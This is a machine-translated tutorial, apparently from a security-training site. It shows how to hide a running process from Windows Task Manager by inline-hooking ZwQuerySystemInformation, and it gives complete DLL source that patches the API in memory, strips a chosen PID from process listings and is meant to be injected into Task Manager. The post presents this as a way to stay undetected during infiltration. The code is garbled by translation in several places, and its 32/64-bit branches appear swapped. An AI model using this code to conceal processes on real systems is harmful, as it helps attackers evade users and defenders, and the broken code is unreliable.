Author: brodyproder

Basic knowledge of

Process is a running activity of a program on a data set in a computer. It is the basic unit of resource allocation and scheduling in the system and the basis of operating system structure. In the early process-oriented computer architecture, the process is the basic execution entity of the program. In modern thread-oriented computer architectures, processes are containers for threads. A program is a description of instructions, data and their organizational form, while a process is an entity of the program.

Every program we run on the computer is called a process, and a process can be seen in the task manager, as shown below

So we are in the process of infiltration, if we do not have to run some running process, we want to achieve the result of undetected, one way is to hide the implementation process, let the other side can’t see the process in task manager, of course, be here only for small white found that professional personnel is beyond the scope of this discussion.

The CreateToolHelp32Snapshot API is used to capture a snapshot of a process. This API will eventually call the ZwQuerySystemInformation API in the kernel layer to retrieve system process information, so we can hook the kernel API directly, because the kernel API will be called in the end, thus implementing process hiding

The implementation process

The implementation of the Hook API ultimately comes down to Inline hooks, which are executed by modifying the first few bytes of the API and writing an E9(jump) to our own function

An API function is stored in a DLL provided by the operating system. When an API function is used in a program, the program implicitly loads the DLL containing the API into the process after the program is run. In this way, the program calls the API as if it were calling its own function.

Kernel32.dll CreateFile() is called when the EXE module calls CreateFile(), because the real CreateFile() function is implemented in kernel32.dll.

CreateFile() is an API function that is recompiled from human code and has its binary. Since it’s code, it can be modified. HOOK API functions in a “brutal” way by directly modifying the in-memory image of the API functions. The method used is to change the flow of the original function by directly using the JMP instruction of the assembly instruction to change the flow of its code execution and then execute our code. After executing our process, we can optionally execute the original function or not continue to execute the original function.

If you want to HOOK kernel32.dll CreateFile(), you need to find the address of CreateFile() in the memory of the specified process, and then change the code of the first address of CreateFile() to JMP MyProc. This way, when the specified process calls CreateFile(), it will jump to our function first to execute the process, thus completing our HOOK.

So why do we use Inlinehook when we have IAThook? Isn’t it more convenient to use IAThook? Look how hard it is to code.

If the function is not loaded in LoadLibrary mode, it will not appear in the import table and IAThook will not be used. This is the condition for Inlinehook.

Hard coded

What is hard coding?

I’m not going to try to explain it conceptually, but to explain my own understanding. Hard coding is basically made up of hexadecimal characters, it’s a language for the CPU to read, we know that in a computer there are only zeros and ones, if you ask him to read those characters in C he can’t read them, he can only read zeros and ones, that’s hard coding.

The structure of hard coding is as follows, there are fixed length instructions, variable length instructions and so on a series of instructions, but also associated with a variety of registers, indeed if we read hard coding is too painful

There is only one hard code we use in Inline hook, E9, and the corresponding assembly code is JMP

Inline hook: ZwQuerySystemInformation Inline hook: ZwQuerySystemInformation Inline hook: ZwQuerySystemInformation Inline hook: ZwQuerySystemInformation

    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
Copy the code

So let’s first get the base address of ntDLL. DLL, either using GetModuleHandle or LoadLibraryA

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
Copy the code

Then use GetProcAddress to get the function address of ZwQuerySystemInformation

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
Copy the code

JMP New_ZwQuerySystemInformation (E9 xx xx xx xx xx xx) Mov rax, 0x1234567812345678, JMP rax, 48 B8 7856341278563412, ff e0. Twelve bytes need to be modified

In the case of 32 bits, modify 5 bytes

BYTE pData[5] = { 0xe9.0.0.0.0 };
Copy the code

Calculate the offset address as new address – old address – 5

 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
Copy the code

Because we’re going to overwrite the first five bytes so we’re going to save the first five bytes somewhere else

::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
Copy the code

The 64-bit case is the same, but the bytes are changed to 12 bytes

 BYTE pData[12] = { 0x48.0xb8.0.0.0.0.0.0.0.0.0xff.0xe0}; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; : :RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); : :RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
Copy the code

Then change the permission to read, write, and execute. Otherwise, an error is reported 0xC0000005

: :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
Copy the code

Modify the hard coding and restore the properties

: :RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); : :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
Copy the code

Here our hook function is almost complete, write another unhook function, the idea is similar, the code is as follows

void UnHookAPI(a)
{
    // Get the base address of ntDL.dll

    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

    if (hDll == NULL)
    {
        printf("[!]  GetModuleHandle false,error is: %d".GetLastError());
        return;
    }
    else
    {
        printf("[*] GetModuleHandle successfully! \n\n");
    }

    // Get the ZwQuerySystemInformation function address
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

    if (NULL == ZwQuerySystemInformation)
    {
        printf("[!]  ZwQuerySystemInformation false,error is: %d".GetLastError());
        return;
    }
    else
    {
        printf("[*] ZwQuerySystemInformation successfully! \n\n");
    }

    // Change the permission to read, write, and execute
    DWORD dwOldProtect = 0; : :VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    // Restore 5 bytes in 32 bits and 12 bytes in 64 bits

#ifdef _WIN64: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif
    // Restore permissions: :VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
Copy the code

When we finish the hook function, we need to jump to our own function. In our own function, we need to determine whether to retrieve the process information of the system. If the process information exists, we need to remove the process information

So let’s first remove the hook, to prevent multiple simultaneous access to the hook function caused by data chaos

UnHookAPI(a);Copy the code

Then load ntDLL.dll

HMODULE hDll = ::LoadLibraryA("ntdll.dll");
Copy the code

Get the base address of the ZwQuerySystemInformation

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
Copy the code

Here’s a look at the ZwQuerySystemInformation function structure

NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
Copy the code

The first parameter is SystemInformationClass, which is used to indicate the type of system information to be retrieved, and the return value is NTSTATUS if the function is successfully executed, otherwise an error code is returned, so we first need to determine whether the message type is process information

status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

if (NT_SUCCESS(status) && 5 == SystemInformationClass)
Copy the code

Here we define a pointer to the buffer that returns the result information

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
Copy the code

Delete process information if we want to hide the PID of the process

 if (HideProcessID == (DWORD)pCur->UniqueProcessId)
Copy the code

After deleting, we restore hook

HookAPI(a);Copy the code

We want to do more than just hide the specified process in our own process space, so we can write the code as a DLL file for easy injection, the complete code is as follows

// dllmain. CPP: Defines entry points for DLL applications.
#include "pch.h"
#include <iostream>
#include <Winternl.h>

HMODULE g_hModule;
BYTE g_Oldwin32[5] = { 0 };
BYTE g_Oldwin64[12] = { 0 };

#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );

void HookAPI(a);
void UnHookAPI(a);

void HookAPI(a)
{
    
    // Get the base address of ntDL.dll

    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

    if (hDll == NULL)
    {
        printf("[!]  GetModuleHandle false,error is: %d\n\n".GetLastError());
        return;
    }
    else
    {
        printf("[*] GetModuleHandle successfully! \n\n");
    }
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#endif
    // Get the ZwQuerySystemInformation function address
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

    if (NULL == ZwQuerySystemInformation)
    {
        printf("[!]  ZwQuerySystemInformation false,error is: %d".GetLastError());
        return;
    }
    else
    {
        printf("[*] ZwQuerySystemInformation successfully! \n\n");
    }

    // If it is 32-bit, change the first 5 bytes. If it is 64-bit, change the first 12 bytes

#ifdef _WIN64
    // jmp New_ZwQuerySystemInformation
    // E9 xx xx xx xx

    BYTE pData[5] = { 0xe9.0.0.0.0 };

    // Calculate offset address, offset address = new address - old address - 5
    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
    ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

#else
    // mov rax, 0x1234567812345678
    // jmp rax
    // 48 b8 7856341278563412
    // ff e0

    BYTE pData[12] = { 0x48.0xb8.0.0.0.0.0.0.0.0.0xff.0xe0}; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; : :RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); : :RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

#endif
    DWORD dwOldProtect = 0;

    // Change the permission to read, write, and execute: :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); : :RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

    // Restore permissions: :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}

void UnHookAPI(a)
{
    // Get the base address of ntDL.dll

    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

    if (hDll == NULL)
    {
        printf("[!]  GetModuleHandle false,error is: %d".GetLastError());
        return;
    }
    else
    {
        printf("[*] GetModuleHandle successfully! \n\n");
    }
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#endif

    // Get the ZwQuerySystemInformation function address
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

    if (NULL == ZwQuerySystemInformation)
    {
        printf("[!]  ZwQuerySystemInformation false,error is: %d".GetLastError());
        return;
    }
    else
    {
        printf("[*] ZwQuerySystemInformation successfully! \n\n");
    }

    // Change the permission to read, write, and execute
    DWORD dwOldProtect = 0; : :VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    // Restore 5 bytes in 32 bits and 12 bytes in 64 bits

#ifdef _WIN64: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif

    // Restore permissions: :VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength )
{
    NTSTATUS status = 0;
    PSYSTEM_PROCESS_INFORMATION pCur = NULL;
    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;

    // Hide the process PID
    DWORD HideProcessID = 13972;

    // Unmount the hook
    UnHookAPI(a); HMODULE hDll = ::LoadLibraryA("ntdll.dll");
    if (hDll == NULL)
    {
        printf("[!]  LoadLibraryA failed,error is : %d\n\n".GetLastError());
        return status;
    }
    else
    {
        printf("[*] LoadLibraryA successfully! \n\n");
    }

#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#endif

    // Get the ZwQuerySystemInformation function address
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

    if (NULL == ZwQuerySystemInformation)
    {
        printf("[!]  ZwQuerySystemInformation false,error is: %d".GetLastError());
        return status;
    }
    else
    {
        printf("[*] ZwQuerySystemInformation successfully! \n\n");
    }

    // Call ZwQuerySystemInformation
    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
    {
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

        while (TRUE)
        {
            // If the PID is a hidden process, delete the process information
            if (HideProcessID == (DWORD)pCur->UniqueProcessId)
            {
                if (pCur->NextEntryOffset == 0)
                {
                    pPrev->NextEntryOffset = 0;
                }

                else{ pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset; }}else
            {
                pPrev = pCur;
            }

            if (pCur->NextEntryOffset == 0)
            {
                break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); }}HookAPI(a);return status;
}


BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        HookAPI(a); g_hModule = hModule;break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        UnHookAPI(a);break;
    }
    return TRUE;
}
Copy the code

Implementation effect

You can inject DLLS into other processes through global hook injection or remote thread injection, so if you want to avoid seeing a process in the task manager, you need to inject DLLS into the task manager

Here I choose to hide QQ music, here run the procedure to inject DLL

The QQ music process is no longer visible in task manager. The process is hidden successfully

instructions

About Hetian Net Safety Laboratory

Hetian Network security laboratory (www.hetianlab.com) – the leading domestic practical network security online education platform real environment, online practical network security; The experimental content covers: system security, software security, network security, Web security, mobile security, CTF, forensics analysis, penetration testing, network security awareness education and so on.

Related experimental exercises

Malicious code analysis actual combat